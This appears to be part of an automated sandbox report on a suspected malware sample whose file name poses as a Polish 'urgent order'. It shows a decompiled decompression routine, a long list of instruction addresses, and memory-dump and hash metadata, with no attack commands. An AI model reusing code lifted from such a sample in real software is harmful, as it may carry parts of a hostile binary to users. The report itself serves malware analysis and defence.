									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}










































                                                                                              0x004061a5
                                                                                              0x004061ac
                                                                                              0x004061b2
                                                                                              0x004061b8
                                                                                              0x00000000
                                                                                              0x004061bc
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061d1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00000000
                                                                                              0x004061de
                                                                                              0x004061e2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061eb
                                                                                              0x004061ee
                                                                                              0x004061f1
                                                                                              0x004061f3
                                                                                              0x004061f5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061fb
                                                                                              0x004061fe
                                                                                              0x00406200
                                                                                              0x00406201
                                                                                              0x00406204
                                                                                              0x00406206
                                                                                              0x00406207
                                                                                              0x00406209
                                                                                              0x0040620c
                                                                                              0x00406211
                                                                                              0x00406216
                                                                                              0x0040621f
                                                                                              0x00406232
                                                                                              0x00406235
                                                                                              0x0040623e
                                                                                              0x00406241
                                                                                              0x00406269
                                                                                              0x00406269
                                                                                              0x0040626b
                                                                                              0x00406279
                                                                                              0x00406279
                                                                                              0x0040627d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x0040626d
                                                                                              0x00406270
                                                                                              0x00406270
                                                                                              0x00406271
                                                                                              0x00406271
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x00406243
                                                                                              0x00406247
                                                                                              0x0040624c
                                                                                              0x0040624c
                                                                                              0x00406255
                                                                                              0x0040625b
                                                                                              0x0040625d
                                                                                              0x00406260
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406283
                                                                                              0x00406283
                                                                                              0x00406287
                                                                                              0x00406b33
                                                                                              0x00000000
                                                                                              0x00406b33
                                                                                              0x00406290
                                                                                              0x004062a0
                                                                                              0x004062a3
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a9
                                                                                              0x004062a9
                                                                                              0x004062ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062af
                                                                                              0x004062b2
                                                                                              0x004062b5
                                                                                              0x004062df
                                                                                              0x004062e5
                                                                                              0x004062ec
                                                                                              0x00000000
                                                                                              0x004062ec
                                                                                              0x004062b7
                                                                                              0x004062bb
                                                                                              0x004062be
                                                                                              0x004062c3
                                                                                              0x004062c3
                                                                                              0x004062ce
                                                                                              0x004062d4
                                                                                              0x004062d6
                                                                                              0x004062d9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040631e
                                                                                              0x00406324
                                                                                              0x00406327
                                                                                              0x00406334
                                                                                              0x0040633c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062f3
                                                                                              0x004062f3
                                                                                              0x004062f7
                                                                                              0x00406b42
                                                                                              0x00000000
                                                                                              0x00406b42
                                                                                              0x00406303
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x00406311
                                                                                              0x00406314
                                                                                              0x00406317
                                                                                              0x0040631a
                                                                                              0x0040631c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c2
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069f8
                                                                                              0x004069ff
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a01
                                                                                              0x00406a01
                                                                                              0x00406a05
                                                                                              0x00406bb4
                                                                                              0x00000000
                                                                                              0x00406bb4
                                                                                              0x00406a11
                                                                                              0x00406a18
                                                                                              0x00406a20
                                                                                              0x00406a20
                                                                                              0x00406a20
                                                                                              0x00406a23
                                                                                              0x00406a26
                                                                                              0x00406a26
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406344
                                                                                              0x00406346
                                                                                              0x00406349
                                                                                              0x004063ba
                                                                                              0x004063bd
                                                                                              0x004063c0
                                                                                              0x004063c7
                                                                                              0x004063d1
                                                                                              0x00000000
                                                                                              0x004063d1
                                                                                              0x0040634b
                                                                                              0x0040634f
                                                                                              0x00406352
                                                                                              0x00406354
                                                                                              0x00406357
                                                                                              0x0040635a
                                                                                              0x0040635c
                                                                                              0x0040635f
                                                                                              0x00406361
                                                                                              0x00406366
                                                                                              0x00406369
                                                                                              0x0040636c
                                                                                              0x00406370
                                                                                              0x00406377
                                                                                              0x0040637a
                                                                                              0x00406381
                                                                                              0x00406385
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x00406391
                                                                                              0x00406394
                                                                                              0x004063b2
                                                                                              0x004063b4
                                                                                              0x00000000
                                                                                              0x004063b4
                                                                                              0x00406396
                                                                                              0x00406399
                                                                                              0x0040639c
                                                                                              0x0040639f
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a4
                                                                                              0x004063a7
                                                                                              0x004063a9
                                                                                              0x004063aa
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004065e3
                                                                                              0x004065e7
                                                                                              0x00406605
                                                                                              0x00406608
                                                                                              0x0040660f
                                                                                              0x00406612
                                                                                              0x00406615
                                                                                              0x00406618
                                                                                              0x0040661b
                                                                                              0x0040661e
                                                                                              0x00406620
                                                                                              0x00406627
                                                                                              0x00406628
                                                                                              0x0040662a
                                                                                              0x0040662d
                                                                                              0x00406630
                                                                                              0x00406633
                                                                                              0x00406633
                                                                                              0x00406638
                                                                                              0x00000000
                                                                                              0x00406638
                                                                                              0x004065e9
                                                                                              0x004065ec
                                                                                              0x004065ef
                                                                                              0x004065f9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040664d
                                                                                              0x00406651
                                                                                              0x00406674
                                                                                              0x00406677
                                                                                              0x0040667a
                                                                                              0x00406684
                                                                                              0x00406653
                                                                                              0x00406653
                                                                                              0x00406656
                                                                                              0x00406659
                                                                                              0x0040665c
                                                                                              0x00406669
                                                                                              0x0040666c
                                                                                              0x0040666c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406690
                                                                                              0x00406694
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040669a
                                                                                              0x0040669e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066a4
                                                                                              0x004066a6
                                                                                              0x004066aa
                                                                                              0x004066aa
                                                                                              0x004066ad
                                                                                              0x004066b1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406701
                                                                                              0x00406705
                                                                                              0x0040670c
                                                                                              0x0040670f
                                                                                              0x00406712
                                                                                              0x0040671c
                                                                                              0x00000000
                                                                                              0x0040671c
                                                                                              0x00406707
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406728
                                                                                              0x0040672c
                                                                                              0x00406733
                                                                                              0x00406736
                                                                                              0x00406739
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040673c
                                                                                              0x0040673f
                                                                                              0x00406742
                                                                                              0x00406742
                                                                                              0x00406745
                                                                                              0x00406748
                                                                                              0x0040674b
                                                                                              0x0040674b
                                                                                              0x0040674e
                                                                                              0x00406755
                                                                                              0x0040675a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067e8
                                                                                              0x004067e8
                                                                                              0x004067ec
                                                                                              0x00406b8a
                                                                                              0x00000000
                                                                                              0x00406b8a
                                                                                              0x004067f2
                                                                                              0x004067f5
                                                                                              0x004067f8
                                                                                              0x004067fc
                                                                                              0x004067ff
                                                                                              0x00406805
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x0040680a
                                                                                              0x0040680d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004063dd
                                                                                              0x004063dd
                                                                                              0x004063e1
                                                                                              0x00406b4e
                                                                                              0x00000000
                                                                                              0x00406b4e
                                                                                              0x004063e7
                                                                                              0x004063ea
                                                                                              0x004063ed
                                                                                              0x004063f1
                                                                                              0x004063f4
                                                                                              0x004063fa
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063ff
                                                                                              0x00406402
                                                                                              0x00406402
                                                                                              0x00406405
                                                                                              0x00406408
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040640e
                                                                                              0x00406414
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040641a
                                                                                              0x0040641a
                                                                                              0x0040641e
                                                                                              0x00406421
                                                                                              0x00406424
                                                                                              0x00406427
                                                                                              0x0040642a
                                                                                              0x0040642b
                                                                                              0x0040642e
                                                                                              0x00406430
                                                                                              0x00406436
                                                                                              0x00406439
                                                                                              0x0040643c
                                                                                              0x0040643f
                                                                                              0x00406442
                                                                                              0x00406445
                                                                                              0x00406448
                                                                                              0x00406464
                                                                                              0x00406467
                                                                                              0x0040646a
                                                                                              0x0040646d
                                                                                              0x00406474
                                                                                              0x00406478
                                                                                              0x0040647a
                                                                                              0x0040647e
                                                                                              0x0040644a
                                                                                              0x0040644a
                                                                                              0x0040644e
                                                                                              0x00406456
                                                                                              0x0040645b
                                                                                              0x0040645d
                                                                                              0x0040645f
                                                                                              0x0040645f
                                                                                              0x00406481
                                                                                              0x00406488
                                                                                              0x0040648b
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406496
                                                                                              0x00406496
                                                                                              0x0040649a
                                                                                              0x00406b5a
                                                                                              0x00000000
                                                                                              0x00406b5a
                                                                                              0x004064a0
                                                                                              0x004064a3
                                                                                              0x004064a6
                                                                                              0x004064aa
                                                                                              0x004064ad
                                                                                              0x004064b3
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b8
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064c1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004064c3
                                                                                              0x004064c6
                                                                                              0x004064c9
                                                                                              0x004064cc
                                                                                              0x004064cf
                                                                                              0x004064d2
                                                                                              0x004064d5
                                                                                              0x004064d8
                                                                                              0x004064db
                                                                                              0x004064de
                                                                                              0x004064e1
                                                                                              0x004064f9
                                                                                              0x004064fc
                                                                                              0x004064ff
                                                                                              0x00406502
                                                                                              0x00406505
                                                                                              0x00406509
                                                                                              0x0040650b
                                                                                              0x004064e3
                                                                                              0x004064e3
                                                                                              0x004064eb
                                                                                              0x004064f0
                                                                                              0x004064f2
                                                                                              0x004064f4
                                                                                              0x004064f4
                                                                                              0x0040650e
                                                                                              0x00406515
                                                                                              0x00406518
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00406518
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040655a
                                                                                              0x0040655a
                                                                                              0x0040655e
                                                                                              0x00406b66
                                                                                              0x00000000
                                                                                              0x00406b66
                                                                                              0x00406564
                                                                                              0x00406567
                                                                                              0x0040656a
                                                                                              0x0040656e
                                                                                              0x00406571
                                                                                              0x00406577
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x0040657c
                                                                                              0x0040657f
                                                                                              0x0040657f
                                                                                              0x00406585
                                                                                              0x00406523
                                                                                              0x00406523
                                                                                              0x00406526
                                                                                              0x00000000
                                                                                              0x00406526
                                                                                              0x00406587
                                                                                              0x00406587
                                                                                              0x0040658a
                                                                                              0x0040658d
                                                                                              0x00406590
                                                                                              0x00406593
                                                                                              0x00406596
                                                                                              0x00406599
                                                                                              0x0040659c
                                                                                              0x0040659f
                                                                                              0x004065a2
                                                                                              0x004065a5
                                                                                              0x004065bd
                                                                                              0x004065c0
                                                                                              0x004065c3
                                                                                              0x004065c6
                                                                                              0x004065c9
                                                                                              0x004065cd
                                                                                              0x004065cf
                                                                                              0x004065a7
                                                                                              0x004065a7
                                                                                              0x004065af
                                                                                              0x004065b4
                                                                                              0x004065b6
                                                                                              0x004065b8
                                                                                              0x004065b8
                                                                                              0x004065d2
                                                                                              0x004065d9
                                                                                              0x004065dc
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x0040686b
                                                                                              0x0040686b
                                                                                              0x0040686f
                                                                                              0x00406b96
                                                                                              0x00000000
                                                                                              0x00406b96
                                                                                              0x00406875
                                                                                              0x00406878
                                                                                              0x0040687b
                                                                                              0x0040687f
                                                                                              0x00406882
                                                                                              0x00406888
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040663b
                                                                                              0x0040663b
                                                                                              0x0040663e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040697a
                                                                                              0x0040697e
                                                                                              0x004069a0
                                                                                              0x004069a3
                                                                                              0x004069ad
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x00406980
                                                                                              0x00406983
                                                                                              0x00406987
                                                                                              0x0040698a
                                                                                              0x0040698a
                                                                                              0x0040698d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a37
                                                                                              0x00406a3b
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a60
                                                                                              0x00406a67
                                                                                              0x00406a6e
                                                                                              0x00406a6e
                                                                                              0x00000000
                                                                                              0x00406a6e
                                                                                              0x00406a3d
                                                                                              0x00406a40
                                                                                              0x00406a43
                                                                                              0x00406a46
                                                                                              0x00406a4d
                                                                                              0x00406991
                                                                                              0x00406991
                                                                                              0x00406994
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406b28
                                                                                              0x00406b2b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406762
                                                                                              0x00406764
                                                                                              0x0040676b
                                                                                              0x0040676c
                                                                                              0x0040676e
                                                                                              0x00406771
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406779
                                                                                              0x0040677c
                                                                                              0x0040677f
                                                                                              0x00406781
                                                                                              0x00406783
                                                                                              0x00406783
                                                                                              0x00406784
                                                                                              0x00406787
                                                                                              0x0040678e
                                                                                              0x00406791
                                                                                              0x0040679f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a75
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a84
                                                                                              0x00406a84
                                                                                              0x00406a88
                                                                                              0x00406bc0
                                                                                              0x00000000
                                                                                              0x00406bc0
                                                                                              0x00406a8e
                                                                                              0x00406a91
                                                                                              0x00406a94
                                                                                              0x00406a98
                                                                                              0x00406a9b
                                                                                              0x00406aa1
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa6
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aac
                                                                                              0x00406aac
                                                                                              0x00406ab0
                                                                                              0x00406b10
                                                                                              0x00406b13
                                                                                              0x00406b18
                                                                                              0x00406b19
                                                                                              0x00406b1b
                                                                                              0x00406b1d
                                                                                              0x00406b20
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00406a2c
                                                                                              0x00406ab2
                                                                                              0x00406ab8
                                                                                              0x00406abb
                                                                                              0x00406abe
                                                                                              0x00406ac1
                                                                                              0x00406ac4
                                                                                              0x00406ac7
                                                                                              0x00406aca
                                                                                              0x00406acd
                                                                                              0x00406ad0
                                                                                              0x00406ad3
                                                                                              0x00406aec
                                                                                              0x00406aef
                                                                                              0x00406af2
                                                                                              0x00406af5
                                                                                              0x00406af9
                                                                                              0x00406afb
                                                                                              0x00406afb
                                                                                              0x00406afc
                                                                                              0x00406aff
                                                                                              0x00406ad5
                                                                                              0x00406ad5
                                                                                              0x00406add
                                                                                              0x00406ae2
                                                                                              0x00406ae4
                                                                                              0x00406ae7
                                                                                              0x00406ae7
                                                                                              0x00406b02
                                                                                              0x00406b09
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x004067a7
                                                                                              0x004067aa
                                                                                              0x004067e0
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406913
                                                                                              0x00406913
                                                                                              0x00406916
                                                                                              0x00406918
                                                                                              0x00406ba2
                                                                                              0x00000000
                                                                                              0x00406ba2
                                                                                              0x0040691e
                                                                                              0x00406921
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406927
                                                                                              0x0040692b
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x00000000
                                                                                              0x0040692e
                                                                                              0x004067ac
                                                                                              0x004067ae
                                                                                              0x004067b0
                                                                                              0x004067b2
                                                                                              0x004067b5
                                                                                              0x004067b6
                                                                                              0x004067b8
                                                                                              0x004067ba
                                                                                              0x004067bd
                                                                                              0x004067c0
                                                                                              0x004067d6
                                                                                              0x004067db
                                                                                              0x00406813
                                                                                              0x00406813
                                                                                              0x00406817
                                                                                              0x00406843
                                                                                              0x00406845
                                                                                              0x0040684c
                                                                                              0x0040684f
                                                                                              0x00406852
                                                                                              0x00406852
                                                                                              0x00406857
                                                                                              0x00406857
                                                                                              0x00406859
                                                                                              0x0040685c
                                                                                              0x00406863
                                                                                              0x00406866
                                                                                              0x00406893
                                                                                              0x00406893
                                                                                              0x00406896
                                                                                              0x00406899
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x00000000
                                                                                              0x0040690d
                                                                                              0x0040689b
                                                                                              0x004068a1
                                                                                              0x004068a4
                                                                                              0x004068a7
                                                                                              0x004068aa
                                                                                              0x004068ad
                                                                                              0x004068b0
                                                                                              0x004068b3
                                                                                              0x004068b6
                                                                                              0x004068b9
                                                                                              0x004068bc
                                                                                              0x004068d5
                                                                                              0x004068d7
                                                                                              0x004068da
                                                                                              0x004068db
                                                                                              0x004068de
                                                                                              0x004068e0
                                                                                              0x004068e3
                                                                                              0x004068e5
                                                                                              0x004068e7
                                                                                              0x004068ea
                                                                                              0x004068ec
                                                                                              0x004068ef
                                                                                              0x004068f3
                                                                                              0x004068f5
                                                                                              0x004068f5
                                                                                              0x004068f6
                                                                                              0x004068f9
                                                                                              0x004068fc
                                                                                              0x004068be
                                                                                              0x004068be
                                                                                              0x004068c6
                                                                                              0x004068cb
                                                                                              0x004068cd
                                                                                              0x004068d0
                                                                                              0x004068d0
                                                                                              0x004068ff
                                                                                              0x00406906
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00406906
                                                                                              0x00406819
                                                                                              0x0040681c
                                                                                              0x0040681e
                                                                                              0x00406821
                                                                                              0x00406824
                                                                                              0x00406827
                                                                                              0x00406829
                                                                                              0x0040682c
                                                                                              0x0040682f
                                                                                              0x0040682f
                                                                                              0x00406832
                                                                                              0x00406832
                                                                                              0x00406835
                                                                                              0x0040683c
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x0040683c
                                                                                              0x004067c2
                                                                                              0x004067c5
                                                                                              0x004067c7
                                                                                              0x004067ca
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406529
                                                                                              0x00406529
                                                                                              0x0040652d
                                                                                              0x00406b72
                                                                                              0x00000000
                                                                                              0x00406b72
                                                                                              0x00406533
                                                                                              0x00406536
                                                                                              0x00406539
                                                                                              0x0040653c
                                                                                              0x0040653f
                                                                                              0x00406542
                                                                                              0x00406545
                                                                                              0x00406547
                                                                                              0x0040654a
                                                                                              0x0040654d
                                                                                              0x00406550
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066b4
                                                                                              0x004066b4
                                                                                              0x004066b8
                                                                                              0x00406b7e
                                                                                              0x00000000
                                                                                              0x00406b7e
                                                                                              0x004066be
                                                                                              0x004066c1
                                                                                              0x004066c4
                                                                                              0x004066c7
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066cc
                                                                                              0x004066cf
                                                                                              0x004066d2
                                                                                              0x004066d5
                                                                                              0x004066d8
                                                                                              0x004066db
                                                                                              0x004066dc
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066e1
                                                                                              0x004066e4
                                                                                              0x004066e7
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ed
                                                                                              0x004066ef
                                                                                              0x004066ef
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406935
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040693b
                                                                                              0x0040693e
                                                                                              0x00406941
                                                                                              0x00406944
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406949
                                                                                              0x0040694c
                                                                                              0x0040694f
                                                                                              0x00406952
                                                                                              0x00406955
                                                                                              0x00406958
                                                                                              0x00406959
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695e
                                                                                              0x00406961
                                                                                              0x00406964
                                                                                              0x00406967
                                                                                              0x0040696a
                                                                                              0x0040696e
                                                                                              0x00406970
                                                                                              0x00406973
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x00000000
                                                                                              0x004066f2
                                                                                              0x00406973
                                                                                              0x00406ba8
                                                                                              0x00406bca
                                                                                              0x00406bd0
                                                                                              0x00406bd2
                                                                                              0x00406bd9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00406bdf
                                                                                              0x00406bdf
                                                                                              0x00000000

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 5bfff9db2859b877ca6a77ec9405565887134ef839be144d68b3806b8d7c08ac
                                                                                              • Instruction ID: 4327eab70650ef0c96a691b493921a8ab8e5ba0d824f916f670fcb6a13d6a8f8
                                                                                              • Opcode Fuzzy Hash: 5bfff9db2859b877ca6a77ec9405565887134ef839be144d68b3806b8d7c08ac
                                                                                              • Instruction Fuzzy Hash: 11816671D04228DBDF24CFA8C8447ADBBB1FB44315F2181AED856BB281C7786A96DF44
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

